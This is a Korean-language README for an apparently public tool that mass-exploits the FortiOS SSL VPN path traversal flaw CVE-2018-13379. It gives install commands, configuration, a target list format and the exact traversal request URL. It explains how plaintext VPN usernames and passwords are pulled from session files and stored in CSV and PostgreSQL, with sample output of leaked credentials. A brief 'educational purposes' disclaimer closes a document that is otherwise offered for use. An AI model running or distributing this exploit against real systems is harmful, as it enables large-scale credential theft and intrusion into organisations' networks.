
CVE-2018-13379 Fortinet FortiOS SSL VPN 대량 익스플로이터. 자격 증명을 즉시 추출하여 CSV + PostgreSQL에 저장합니다. 멀티스레드, 쓸데없는 경고 없음.

Fortinet FortiOS SSL VPN의 CVE-2018-13379(경로 탐색) 취약점을 대량으로 악용하기 위한 도구입니다. 세션 파일을 읽고 로그인 및 비밀번호를 평문으로 추출할 수 있습니다.
/remote/fgt_lang 엔드포인트를 통한 CVE-2018-13379 악용fortios_creds_20250120_143052)git clone https://github.com/Instructor-Admin/Multi-threaded-mass-exploiter-CVE-2018-13379-POC.git
cd Multi-threaded-mass-exploiter-CVE-2018-13379-POC
pip3 install requests psycopg2-binary
모든 설정은 스크립트에서 직접 편집할 수 있습니다. 명령줄 인수로 애쓸 필요가 없습니다:
TARGETS_FILE = "targets.txt" # File with targets (ip:port)
CSV_FILE = "fortios_creds.csv" # Output CSV file
PG_HOST = "127.0.0.1"
PG_PORT = 5432
PG_DB = "fortios_db"
PG_USER = "postgres"
PG_PASSWORD = "password"
THREADS = 20
TIMEOUT = 8
targets.txt 파일을 만들고 대상을 한 줄에 하나씩 입력합니다:192.168.1.1:8443
10.0.0.5:10443
172.16.0.1:443
python3 exploit.py
fortios_creds_YYYYMMDD_HHMMSS)예시 출력:
[+] 100 targets loaded. We're running in 20 threads...
[+] LEAKED: 192.168.1.1:8443
→ Pulled 3 credentials
Wrote 3 credentials to CSV
3 credentials entered into the DB
[-] Not leaky: 10.0.0.1:10443
https://ip:port/remote/fgt_lang?lang=/../../../..///////////dev/cmdb/sslvpn_websession 주소로 GET 요청을 보냅니다.var fgt_lang 문자열이 포함되어 있는지 확인합니다(취약점의 신호).username 및 password 쌍을 추출합니다.requestspsycopg2-binary (선택 사항 - 없으면 CSV 파일만 작동합니다)urllib3이 도구는 교육 목적 및 승인된 테스트를 위한 것입니다. 귀하는 자신의 행동에 대한 책임이 있습니다.
Unlicense - 원하는 대로 사용하세요.